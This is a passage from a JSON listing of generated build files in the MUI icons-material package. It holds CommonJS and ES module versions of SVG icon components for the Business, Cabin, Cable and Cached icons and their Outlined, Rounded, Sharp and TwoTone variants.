    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'BusinessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'BusinessOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm9 12h-7v-2h2v-2h-2v-2h2v-2h-2V9h7c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1m-1-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'BusinessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V5c0-1.1-.9-2-2-2H4c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm9 12h-7v-2h2v-2h-2v-2h2v-2h-2V9h7c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1m-1-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'BusinessRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'BusinessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8zm-2-8h-2v2h2zm0 4h-2v2h2z\"\n}), 'BusinessSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11h2v2h-2v2h2v2h-2v2h8V9h-8zm4 0h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 15h2v2h-2zm0-4h2v2h-2zm6-4H12V3H2v18h20zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8z\"\n}, \"1\")], 'BusinessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BusinessTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11h2v2h-2v2h2v2h-2v2h8V9h-8zm4 0h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 15h2v2h-2zm0-4h2v2h-2zm6-4H12V3H2v18h20zM6 19H4v-2h2zm0-4H4v-2h2zm0-4H4V9h2zm0-4H4V5h2zm4 12H8v-2h2zm0-4H8v-2h2zm0-4H8V9h2zm0-4H8V5h2zm10 12h-8v-2h2v-2h-2v-2h2v-2h-2V9h8z\"\n}, \"1\")], 'BusinessTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cabin.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1zm2 2L6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm1.94 4h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\"\n}), 'Cabin');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cabin.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1zm2 2L6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm1.94 4h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\"\n}), 'Cabin');"
  },
  {
    "path": "packages/mui-icons-material/lib/CabinOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1zm2 2L6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm1.94 4h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\"\n}), 'CabinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CabinOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1zm2 2L6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm1.94 4h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\"\n}), 'CabinOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CabinRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.37 3.55C4.89 2.62 5.87 2 7 2c.38 0 .72-.22.89-.53.15-.31.5-.47.84-.47.74 0 1.26.8.9 1.45C9.11 3.38 8.13 4 7 4c-.38 0-.72.22-.89.53-.15.31-.5.47-.84.47-.74 0-1.26-.8-.9-1.45m18.02 8.64c-.34.44-.96.52-1.4.19l-.99-.76V20c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1v-8.38l-.99.76c-.44.34-1.07.25-1.4-.19s-.25-1.07.19-1.4L4 9.11V7c0-.55.45-1 1-1s1 .45 1 1v.58l5.39-4.12c.36-.27.86-.27 1.21 0l9.6 7.33c.44.34.53.97.19 1.4M10.06 7h3.89L12 5.52zM6 10.1v.9h12v-.9L16.56 9H7.44zM6 13v2h12v-2zm12 6v-2H6v2z\"\n}), 'CabinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CabinRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.37 3.55C4.89 2.62 5.87 2 7 2c.38 0 .72-.22.89-.53.15-.31.5-.47.84-.47.74 0 1.26.8.9 1.45C9.11 3.38 8.13 4 7 4c-.38 0-.72.22-.89.53-.15.31-.5.47-.84.47-.74 0-1.26-.8-.9-1.45m18.02 8.64c-.34.44-.96.52-1.4.19l-.99-.76V20c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1v-8.38l-.99.76c-.44.34-1.07.25-1.4-.19s-.25-1.07.19-1.4L4 9.11V7c0-.55.45-1 1-1s1 .45 1 1v.58l5.39-4.12c.36-.27.86-.27 1.21 0l9.6 7.33c.44.34.53.97.19 1.4M10.06 7h3.89L12 5.52zM6 10.1v.9h12v-.9L16.56 9H7.44zM6 13v2h12v-2zm12 6v-2H6v2z\"\n}), 'CabinRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CabinSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1zm2 2L6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm1.94 4h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\"\n}), 'CabinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CabinSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1zm2 2L6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm1.94 4h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\"\n}), 'CabinSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CabinTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.94 7h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1zm2 2L6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm1.94 4h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\"\n}, \"1\")], 'CabinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CabinTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.94 7h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 1c0 1.66-1.34 3-3 3-.55 0-1 .45-1 1H4c0-1.66 1.34-3 3-3 .55 0 1-.45 1-1zm2 2L6 7.58V6H4v3.11L1 11.4l1.21 1.59L4 11.62V21h16v-9.38l1.79 1.36L23 11.4zm1.94 4h-3.89L12 5.52zm-6.5 2h9.12L18 10.1v.9H6v-.9zM18 13v2H6v-2zM6 19v-2h12v2z\"\n}, \"1\")], 'CabinTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cable.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1h-1v4c0 .55.45 1 1 1h1v7c0 1.1-.9 2-2 2s-2-.9-2-2V7c0-2.21-1.79-4-4-4S5 4.79 5 7v7H4c-.55 0-1 .45-1 1v4h1v1c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-1h1v-4c0-.55-.45-1-1-1H7V7c0-1.1.9-2 2-2s2 .9 2 2v10c0 2.21 1.79 4 4 4s4-1.79 4-4v-7h1c.55 0 1-.45 1-1V5z\"\n}), 'Cable');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cable.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1h-1v4c0 .55.45 1 1 1h1v7c0 1.1-.9 2-2 2s-2-.9-2-2V7c0-2.21-1.79-4-4-4S5 4.79 5 7v7H4c-.55 0-1 .45-1 1v4h1v1c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-1h1v-4c0-.55-.45-1-1-1H7V7c0-1.1.9-2 2-2s2 .9 2 2v10c0 2.21 1.79 4 4 4s4-1.79 4-4v-7h1c.55 0 1-.45 1-1V5z\"\n}), 'Cable');"
  },
  {
    "path": "packages/mui-icons-material/lib/CableOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1h-1v4c0 .55.45 1 1 1h1v7c0 1.1-.9 2-2 2s-2-.9-2-2V7c0-2.21-1.79-4-4-4S5 4.79 5 7v7H4c-.55 0-1 .45-1 1v4h1v1c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-1h1v-4c0-.55-.45-1-1-1H7V7c0-1.1.9-2 2-2s2 .9 2 2v10c0 2.21 1.79 4 4 4s4-1.79 4-4v-7h1c.55 0 1-.45 1-1V5z\"\n}), 'CableOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CableOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1h-1v4c0 .55.45 1 1 1h1v7c0 1.1-.9 2-2 2s-2-.9-2-2V7c0-2.21-1.79-4-4-4S5 4.79 5 7v7H4c-.55 0-1 .45-1 1v4h1v1c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-1h1v-4c0-.55-.45-1-1-1H7V7c0-1.1.9-2 2-2s2 .9 2 2v10c0 2.21 1.79 4 4 4s4-1.79 4-4v-7h1c.55 0 1-.45 1-1V5z\"\n}), 'CableOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CableRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h1v6.91c0 1.04-.76 1.98-1.79 2.08-1.2.12-2.21-.82-2.21-1.99V7.14c0-2.13-1.61-3.99-3.74-4.13C6.93 2.86 5 4.7 5 7v7H4c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1v1c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1H7V7.09c0-1.04.76-1.98 1.79-2.08C9.99 4.89 11 5.83 11 7v9.86c0 2.13 1.61 3.99 3.74 4.13C17.07 21.14 19 19.3 19 17v-7h1c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1\"\n}), 'CableRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CableRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h1v6.91c0 1.04-.76 1.98-1.79 2.08-1.2.12-2.21-.82-2.21-1.99V7.14c0-2.13-1.61-3.99-3.74-4.13C6.93 2.86 5 4.7 5 7v7H4c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1v1c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-1c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1H7V7.09c0-1.04.76-1.98 1.79-2.08C9.99 4.89 11 5.83 11 7v9.86c0 2.13 1.61 3.99 3.74 4.13C17.07 21.14 19 19.3 19 17v-7h1c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1\"\n}), 'CableRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CableSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V3h-4v2h-1v5h2v9h-4V3H5v11H3v5h1v2h4v-2h1v-5H7V5h4v16h8V10h2V5z\"\n}), 'CableSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CableSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V3h-4v2h-1v5h2v9h-4V3H5v11H3v5h1v2h4v-2h1v-5H7V5h4v16h8V10h2V5z\"\n}), 'CableSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CableTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1h-1v4c0 .55.45 1 1 1h1v7c0 1.1-.9 2-2 2s-2-.9-2-2V7c0-2.21-1.79-4-4-4S5 4.79 5 7v7H4c-.55 0-1 .45-1 1v4h1v1c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-1h1v-4c0-.55-.45-1-1-1H7V7c0-1.1.9-2 2-2s2 .9 2 2v10c0 2.21 1.79 4 4 4s4-1.79 4-4v-7h1c.55 0 1-.45 1-1V5z\"\n}), 'CableTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CableTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5V4c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1h-1v4c0 .55.45 1 1 1h1v7c0 1.1-.9 2-2 2s-2-.9-2-2V7c0-2.21-1.79-4-4-4S5 4.79 5 7v7H4c-.55 0-1 .45-1 1v4h1v1c0 .55.45 1 1 1h2c.55 0 1-.45 1-1v-1h1v-4c0-.55-.45-1-1-1H7V7c0-1.1.9-2 2-2s2 .9 2 2v10c0 2.21 1.79 4 4 4s4-1.79 4-4v-7h1c.55 0 1-.45 1-1V5z\"\n}), 'CableTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cached.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 8-4 4h3c0 3.31-2.69 6-6 6-1.01 0-1.97-.25-2.8-.7l-1.46 1.46C8.97 19.54 10.43 20 12 20c4.42 0 8-3.58 8-8h3zM6 12c0-3.31 2.69-6 6-6 1.01 0 1.97.25 2.8.7l1.46-1.46C15.03 4.46 13.57 4 12 4c-4.42 0-8 3.58-8 8H1l4 4 4-4z\"\n}), 'Cached');"
  },
  {
    "path": "packages/mui-icons-material/lib/Cached.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 8-4 4h3c0 3.31-2.69 6-6 6-1.01 0-1.97-.25-2.8-.7l-1.46 1.46C8.97 19.54 10.43 20 12 20c4.42 0 8-3.58 8-8h3zM6 12c0-3.31 2.69-6 6-6 1.01 0 1.97.25 2.8.7l1.46-1.46C15.03 4.46 13.57 4 12 4c-4.42 0-8 3.58-8 8H1l4 4 4-4z\"\n}), 'Cached');"
  },
  {
    "path": "packages/mui-icons-material/lib/CachedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 8-4 4h3c0 3.31-2.69 6-6 6-1.01 0-1.97-.25-2.8-.7l-1.46 1.46C8.97 19.54 10.43 20 12 20c4.42 0 8-3.58 8-8h3zM6 12c0-3.31 2.69-6 6-6 1.01 0 1.97.25 2.8.7l1.46-1.46C15.03 4.46 13.57 4 12 4c-4.42 0-8 3.58-8 8H1l4 4 4-4z\"\n}), 'CachedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CachedOutlined.mjs",
